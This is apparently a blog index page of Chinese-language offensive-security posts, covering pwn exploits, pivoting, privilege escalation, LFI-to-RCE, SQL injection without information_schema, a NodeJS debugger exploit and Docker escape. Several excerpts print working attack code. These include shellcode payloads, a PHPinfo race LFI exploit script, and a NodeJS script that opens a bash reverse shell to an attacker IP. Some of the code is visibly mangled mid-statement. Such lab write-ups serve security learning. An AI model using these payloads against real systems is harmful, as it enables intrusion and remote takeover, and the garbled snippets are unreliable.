深度解析 CPENT 考試心得、以及與 OSCP 的比較

前陣子參加了恆逸的活動,擁有 OSCP 證照者免費上 CPENT 課程,以及考照的活動,很高興的,我順利的考取到了 CPENT 以及 LPT 的證照。 先在前面跟恆逸的所有工作人員說聲感謝,也跟 Vicent 老師說聲謝謝。 本篇文會介紹整體 CPENT 課程教材、考試內容、準備方式以及其與 OSCP 的比較。 這些心得部分都以我個人的主觀感受為主,僅供參考,而考試、課程內容也僅代表 2022 年 5 月底至 6 月初的狀況,可能會與未來有所差異。 在考試前我有試著在網路上查詢過 CPENT 相關的考試資料,發現中文資料除了恆逸的業配文之外,沒有看到以較客觀角度來評論這張證照的文章。僅有此 YouTube 影片有提到考試的大致內容 [輕鬆系列] 兩場連續12小時不間斷資安考試,到底資安證照EC-Council CPENT 在考甚麼?!! 因此本文會在不侵犯版權與洩密的前題下,介紹該證照與課程的詳細內容,供準備考試的朋友們進行參考。 課程教材 報名考試後,熱心的恆逸工作人員就寄了一本紙本的教材給我,這本紙本教材約有 1600 頁,內文主要是官方授課的投影片,較少文字敘述,且因為黑白列印的關係,許多原本黑底綠字的 Command Line 截圖都是看不清楚的 QQ。 不過該份教材有提供了電子檔,需要透過特有的專屬軟體開啟,裡面的畫面就清楚了很多。 相比於 OSCP 約 1000 頁的教材,我認為 CPENT 的教材相對而言比較淺而廣。 教材涵蓋內容 CPENT 的官方教材總共有 14 個章節與 12 個附錄,章節內容如以下: PT 概論 PT 的範圍與規範 OSINT 社交工程 網路 PT - 外部 網路 PT - 內部 網路 PT - 外圍設備 Web PT 無線網路 PT IoT PT OT 及 SCADA PT 雲端 PT Binary 分析以及 Pwn 報告撰寫 附錄內容 ...

2022-06-10 · 6 分鐘 · steven

Debug Linux Binary Using Core Dump

(本篇文環境都使用 Ubuntu 18.04.6 LTS 進行測試) 在一次打 pwn 的經驗中,我發現了一件奇怪的事情,題目檔案沒有開 NX、Canary、PIE,機器也沒有開啟 ASLR。這題題目需要打 64Bit 的 Return to Shell Code,簡而言之,題目會透過讀檔的方式讀取一個寫好 Payload 的檔案,並執行 strcpy。這個 Exploit 就是 Padding + Return Address + Shell Code,而 Return Address 就是 Stack 上面寫的 Shell code,聽起來是一個很簡單的題目。 Exploit 如下 from pwn import * shellcode = b"H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05" payload = flat( b'a'*40, p64(0x7fffffffddb0), shellcode ) with open("badfile","wb") as f: f.write(payload) 關於 Return Address,當然就是使用 gdb 下段點進去找,但奇怪的事情就發生了! 這個 Exploit Code 在 gdb 開啟的狀態下可以正常運作,但是程式獨立執行時卻會噴 Error,透過 pwntools 的 process 叫起來也一樣會爛掉。 ...

2022-05-28 · 1 分鐘 · steven

Double & Triple Pivoting and Proxychains using Chisel

最近遇到了一個非常極端的情境,需要在內網跳三層的 Tunneling, 而且這些機器們都沒有 SSH,這篇文會分享一下如何運用 Chisel 來跳多層的 Pivot。 雖然目前的 Cobalt Strike 以及 Meterpreter 都有相應的功能,不過本篇文章我希望使用最傳統,最基本的小工具來完成這個情境。 情境介紹 我們的網路架構如上圖,我們在 Attacker 的機器,而我們需要攻擊的機器分別在不同的網段中,且互相摸不到對方。有三個目標: 要能讓 Server A, B 及 C 摸到我們 Attacker:8000 身上的 Python HTTP Server 要能在 Attacker 端,接收到 A, B 上面的 Reverse Shell 要能透過 Proxychains 在 Attacker 上摸到、掃 Server A, B, C, D 的 TCP Port 我已經預先在 Server A, B 及 C 上擺放好了一句話的 Web Shell 方便操作 ) 想要自己建立 Lab 的話,可以參考以下的 Github 連結: Triple-Pivoting-Lab 重點主要就是這個 Docker Compose 檔案,我們可以把每一顆 Container 都當作一台 Server 來完成以下的實驗。 ...

2022-05-26 · 6 分鐘 · steven

Remote binary tunneling & Buffer overflow using pwntools

前陣子因緣際會下,遇到了某個情境,是在一個斷網的環境底下需要透過打 Pwn 的方式來進行提權。 這個環境的情境大概是,一個 Binary 具有 SUID 權限可以 Pwn。 但另外一個條件是,機器上面不能開 Port 出來,我也不可能幫對方的機器裝 Pwntools,身為一個 Pwntools 的愛用者,我決定使用邪門歪道把程式給跑起來,接下來進行 Pwn 的動作。 這邊的範例,我使用到今年初,我在台科大資工系講課時的教材,使用 Ubuntu 18.04 的環境打 64 bit 的 Return to Shellcode 的情境。 但這篇文的主旨不在 Exploit 這隻 Binary 的過程,而是如何透過 Tunneling 的方式把 Binary 帶到外面來打。因此我直接附上 Binary Source Code 以及 Exploit Code。 // gcc -no-pie -fno-stack-protector -z execstack ret2sc2.c -o ret2sc2 #include #include char name[100]; int main(){ printf("What's your name : "); scanf("%s",name); char comment[500]; printf("What's your comment : "); scanf("%s",comment); return 0; } 這邊我關閉了 PIE、Canary 以及 NX 保護,作為最簡單的 Demo 使用, Exploit Code 則使用 pwntools 來寫,非常簡單,就只是蓋 Return Address 並塞下 Shell Code 而已,而我的 Shell Code 是抄網路上的,就只是一個 setuid(0) 以及 execve(/bin/sh)。 ...

2022-05-24 · 2 分鐘 · steven

How I found CVE-2022-22973 VMWare Workspace ONE Privilege Escalation

VMWare Security advisories:https://www.vmware.com/security/advisories/VMSA-2022-0014.html 這個漏洞其實是在一個因緣際會下發現的,當初我在研究 CVE-2022-22954,一個 VMware Workspace ONE Access Freemarker 的 SSTI to RCE 漏洞。 後來剛好跟朋友借到一台有洞的 Server 來測試 Exploit,就順利的 RCE 了,接下來,我接回了 Reverse Shell 想試著觀察 Server 內部的檔案結構跟原始碼,發現了當前使用者是 horizon。 Service 使用較低權限的使用者來執行,可以保障系統的安全。 當然,入侵的駭客也會嘗試透過各種方式來試著進行提權到 ROOT, 這次使用到的技巧完全是我今年 4/13 在台科資安社有提到的,他的構成其實非常簡單。 這個梗也常常出現在 Hack The Box 或 Try Hack Me,應該是 Easy 等級的題目,不過在 Real World 出現真的是滿神奇的事情。 提權不外乎, Kernel Exploit (Binary) 系列,或是 Misconfiguration,本次這個漏洞就只是一個程式開發時的小小設定錯誤。 當拿到一台 Linux 的低權限 Shell ,通常我的起手是會先 whoami,觀察使用者名稱;接下來會試著使用 sudo -l 觀察使用者有沒有機會透過 sudo 來搞事。 接下來就發現了一個酷東東,也就是最下面一行的 /opt/vmware/certproxy/bin/certproxyService.sh horizon 使用者可以使用 sudo 執行該 Script,並且不需要輸入密碼,而另外一個重點是,觀察這個 Script 會發現檔案權限的設定有問題,這個檔案的所屬擁有者就是我們自己 (horizon),因此我們可以任意竄改裡面的檔案內容。 ...

2022-05-19 · 1 分鐘 · steven

Advanced Local File Inclusion to RCE in 2022

蛤,都 2022 年了,還有人不知道 LFI 基本上就 = RCE ㄇ? 還有人 LFI 只會寫 log、努力找上傳檔案的點再來 Include ㄇ?覺得 LFI 就只能 Base64 看看源碼ㄇ? 這篇文整理了一下最近幾年來比較實用的一些 LFI 技巧,透過無腦的貼 POC 就可以快速的 Get Shell。以下我使用 PHP 8.1 apache 做為實驗環境,測試了幾種常見的 RFI to RCE 技巧,理論上在大多數的 PHP 7 底下,預設環境中,不用修改任何的 config 都可以適用。 Environment Setup docker-compose.yml version: "3.7" services: webserver: image: php:8.1-apache volumes: - ./web:/var/www/html web/index.php &1'"); ?>'''.format(tag=tag,shell_host=shell_host,shell_port=shell_port) UPLOAD="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {} -----------------------------7dbff1ded0714--\r""".format(PAYLOAD) padding="A" * 5000 ## PHPinfo path INFOREQ="""POST {phpinfo}?a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {len}\r Host: %s\r \r {upload}""".format(phpinfo=PHPinfo_File,padding=padding, len=len(UPLOAD), upload=UPLOAD) # LFI Path LFIREQ="GET " + LFI_File + """%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ class PHPINFO_LFI(): def __init__(self, host, port): self.host = host self.port = int(port) self.req_payload= (INFOREQ % self.host).encode('utf-8') self.lfireq = LFIREQ self.offset = self.get_offfset() def get_offfset(self): ''' 获取tmp名字的offset ''' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.host, self.port)) s.send(self.req_payload) page = b"" while True: i = s.recv(4096) page+=i if i == "": break if i.decode('utf8').endswith("0\r\n\r\n"): break s.close() pos = page.decode('utf8').find("[tmp_name] => ") print('get the offset :{} '.format(pos)) if pos == -1: raise ValueError("No php tmp_name in phpinfo output") return pos+256 #多加一些字节 def phpinfo_lfi(self): ''' 同时发送phpinfo请求与lfi请求 ''' phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo.connect((self.host, self.port)) lfi.connect((self.host, self.port)) phpinfo.send(self.req_payload) infopage = b"" while len(infopage) ") tmpname = infopage[pos+17:pos+31] lfireq = self.lfireq % (tmpname.decode('utf8'),self.host) lfi.send(lfireq.encode('utf8')) fipage = lfi.recv(4096) phpinfo.close() lfi.close() if fipage.decode('utf8').find(tag) != -1: return tmpname if __name__ == '__main__': print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts)) p = PHPINFO_LFI(host,port) for i in range(int(attempts)): print('Trying {}/{} times…'.format(i, attempts), end="\r") if p.phpinfo_lfi() is not None: print("Success!!") exit() print(':( Failed') Session Upload Progress session.upload_progress Session Upload Progress 是目前我最愛用的方法,沒有之一。 ...

2022-05-07 · 4 分鐘 · steven

SQL Injection Without Column Name and information_schema

前幾天遇到了一個類似 CTF 的 PT 情境,主要狀況是,我有辦法透過 Union Based 的方法進行 SQL Injection;我有辦法得知 Table name,卻無法得知 Column Name。 先工商一下,如果缺乏測試 SQL 的環境,可以使用我的 Repo: DB-Tester , 用 Docker-compose 的方式建立了一個 Web Server 與 SQL Server,目前有支援 MySQL、PostgreSQL、M$SQL、Oracle 等。 Background 通常 SQL Injection 的套路就是,透過 information_schema 裡面的 schemata, tables, columns 來取得資料庫名稱、表格名稱以及欄位名稱,但在這次的情境中,因為 WAF 的設定,我們無法摸到任何的 information_schema,因此只能尋找相關的替代品。 information_schema 的替代品 在 MySQL 版本 >= 5.5 之後,MySQL 預設的 Table Engine 為 innodb,其中,就有資料庫的名稱以及表格的名稱可以利用 mysql> SELECT * FROM mysql.innodb_table_stats; +---------------+------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +---------------+------------+---------------------+--------+----------------------+--------------------------+ | mysql | component | 2022-04-25 12:57:27 | 0 | 1 | 0 | | sys | sys_config | 2022-04-25 12:57:29 | 6 | 1 | 0 | | test_db | accounts | 2022-04-25 12:58:06 | 2 | 1 | 0 | | test_db | news | 2022-04-25 12:58:29 | 0 | 1 | 0 | +---------------+------------+---------------------+--------+----------------------+--------------------------+ 例如想要快速一鍵爆資料庫、資料表名稱,可以使用 ...

2022-04-25 · 4 分鐘 · steven

NodeJS V8 Engine Debugger Exploit (Part2) - Auto Exploit

在上一篇文,(NodeJS V8 Engine Debugger Exploit) 中,我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。 但上一篇貼文終究要使用到 GUI,用起來總是沒有很舒服,感謝 @uuuuuyurr 大大協助,找到了一個方便的酷酷工具,可以使用 CLI 、 程式完成這件事情。 這次需要使用到的套件叫做 chrome-remote-interface 透過 npm i chrome-remote-interface 即可進行安裝。 接下來把官方的範例程式做一點點小小小修改,其他環境皆與上次的實驗環境相同,就可以 RCE 囉! Exploit 程式碼: const CDP = require('chrome-remote-interface'); async function example() { let client; try { // connect to endpoint options = { "host": "192.168.40.136", "port":9229 } client = await CDP(options); r = await client.Runtime.evaluate({expression: `global.process.mainModule.constructor._load("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'")`}); console.log(r); } catch (err) { console.error(err); } finally { if (client) { await client.close(); } } } example();

2022-04-10 · 1 分鐘 · steven

NodeJS V8 Engine Debugger Exploit

前陣子,在某個奇怪的情境下遇到的狀況,我擁有一台機器上跑的 Server 的完整 Source Code,且其 NodeJS 的 Debugger Port 是開啟的狀態,在這種情況下是有辦法取得 RCE 的嗎? 這邊我建立了一個簡單的 NodeJS 的 Script,功能很直覺,應該不需要多做解釋。 const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { var name = req.query.name res.send('Hello ' + name + " !!"); }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) 如果說,我們的這隻程式因為各種緣故,需要使用遠端 Debugger 的話,很可能會用下面的方法叫起來,不過這種方法是超級無敵危險的! nodejs --inspect=0.0.0.0 main.js VSCode Exploit 假設我們的程式在 Victim 端使用上述方法跑起來,而 Attacker 擁有完全一樣的 Code 的話,可以在專案中新增下面的檔案,並把 IP Address 修改成 Victim 的 IP。 ...

2022-04-05 · 2 分鐘 · steven

Docker Post Exploitation and Escape

最近常常遇到 Docker 相關的機器, Docker 機器裡面通常都很乾淨,缺少很多可以用的小工具,所以後滲透比起普通 Linux 機器有一點點點的不同 QQ,本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法 以下範例的機器 IP: Kali (Attacker) : 192.168.40.135 Ubuntu (Victim) : 192.168.40.136 Mount Host Root Directory 在這邊的例子中,我們假設我們已經擁有了 Container 中的 Root 權限,且嘗試想試著逃離 Docker 這邊使用的 Docker 環境是這樣叫起來的 sudo docker run -v /:/host -it ubuntu bash 觀察電腦中的 Process 假設我們把 host 的根目錄 mount 在 container 的 /host,我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process #!/bin/bash for dir_name in $(ls -d /host/proc/*/ | grep -E '\/host\/proc\/[0-9]+\/'); do echo $dir_name; cat $dir_name/status 2>/dev/null | head -n 1; cat $dir_name/cmdline 2>/dev/null ; echo -ne '\n'; echo '============================' done 透過觀察 Host 的 Process,我們可以設法找出電腦中可以利用的 Process,範例輸出:可以觀察到電腦有開 SSH ...

2022-04-04 · 3 分鐘 · steven